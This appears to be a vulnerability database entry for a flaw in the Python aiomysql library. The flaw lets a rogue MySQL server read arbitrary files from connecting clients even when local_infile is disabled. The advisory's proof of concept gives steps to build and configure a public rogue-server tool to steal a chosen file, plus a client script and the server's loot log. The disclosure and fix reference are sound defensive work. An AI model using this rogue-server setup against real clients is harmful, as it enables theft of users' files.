PYSEC-2026-1110

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:23
VLAI
Details

Summary

The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.

Details

It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.

PoC

First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server

  1. Create a file to be stolen by the rogue server: echo "gotcha" > /tmp/my_secret_file.txt
  2. Clone the repo: git clone git@github.com:rmb122/rogue_mysql_server.git && cd rogue_mysql_server
  3. Build the server: make rogue_mysql_server
  4. Generate a sample config: rogue_mysql_server -generate
  5. In config.yaml change file_list to ["/tmp/my_secret_file.txt"]
  6. Run the server: ./rogue_mysql_server -config config.yaml

Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal:

import asyncio

import aiomysql


loop = asyncio.get_event_loop()


async def test_example():
    conn = await aiomysql.connect(
        host="127.0.0.1",
        port=3306,
        user="root",
        password="",
        db="mysql",
        loop=loop,
        local_infile=0, # note that we explicitly forbid local_infile
    )

    cursor = await conn.cursor()
    await cursor.execute("SELECT 1")
    print(cursor.description)
    r = await cursor.fetchall()
    print(r)
    await cursor.close()
    conn.close()


loop.run_until_complete(test_example())

The rogue server will output log messages indicating successful file read and save the contents in the loot/ directory

level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"

Impact

This vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.

Fix suggestion

Can be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267

Severity
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Impacted products
Name purl
aiomysql pkg:pypi/aiomysql
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "aiomysql",
        "purl": "pkg:pypi/aiomysql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9",
        "0.1.0",
        "0.1.0rc1",
        "0.1.0rc2",
        "0.1.1",
        "0.2.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62611",
    "GHSA-r397-ff8c-wv2g"
  ],
  "details": "### Summary\nThe client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.\n\n### Details\nIt is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.\n\n### PoC\nFirst, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client \u2013 tested with https://github.com/rmb122/rogue_mysql_server\n\n1. Create a file to be stolen by the rogue server: `echo \"gotcha\" \u003e /tmp/my_secret_file.txt`\n2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git \u0026\u0026 cd rogue_mysql_server`\n3. Build the server: `make rogue_mysql_server`\n4. Generate a sample config: `rogue_mysql_server -generate`\n5. In `config.yaml` change `file_list` to `[\"/tmp/my_secret_file.txt\"]`\n6. Run the server: `./rogue_mysql_server -config config.yaml`\n\nNext, the vulnerability can be seen in action with the following script, which can be run in a second terminal:\n```python3\nimport asyncio\n\nimport aiomysql\n\n\nloop = asyncio.get_event_loop()\n\n\nasync def test_example():\n    conn = await aiomysql.connect(\n        host=\"127.0.0.1\",\n        port=3306,\n        user=\"root\",\n        password=\"\",\n        db=\"mysql\",\n        loop=loop,\n        local_infile=0, # note that we explicitly forbid local_infile\n    )\n\n    cursor = await conn.cursor()\n    await cursor.execute(\"SELECT 1\")\n    print(cursor.description)\n    r = await cursor.fetchall()\n    print(r)\n    await cursor.close()\n    conn.close()\n\n\nloop.run_until_complete(test_example())\n```\n\nThe rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory\n```\nlevel=info msg=\"Client from addr [xxx], ID [1] try to query [select 1]\"\nlevel=info msg=\"Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]\"\nlevel=info msg=\"Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]\"\nlevel=info msg=\"Client leaved, Addr [xxx], ID [1]\"\n```\n\n### Impact\nThis vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.\n\n### Fix suggestion\nCan be fixed by porting relevant changes from PyMySQL \u2013 https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267",
  "id": "PYSEC-2026-1110",
  "modified": "2026-07-07T17:23:38.089948Z",
  "published": "2026-07-07T16:03:08.023970Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiomysql/security/advisories/GHSA-r397-ff8c-wv2g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62611"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiomysql/pull/1044"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiomysql/commit/32c4520dae3711367ded74a4726dcb8bb8919538"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aio-libs/aiomysql"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/aiomysql"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r397-ff8c-wv2g"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.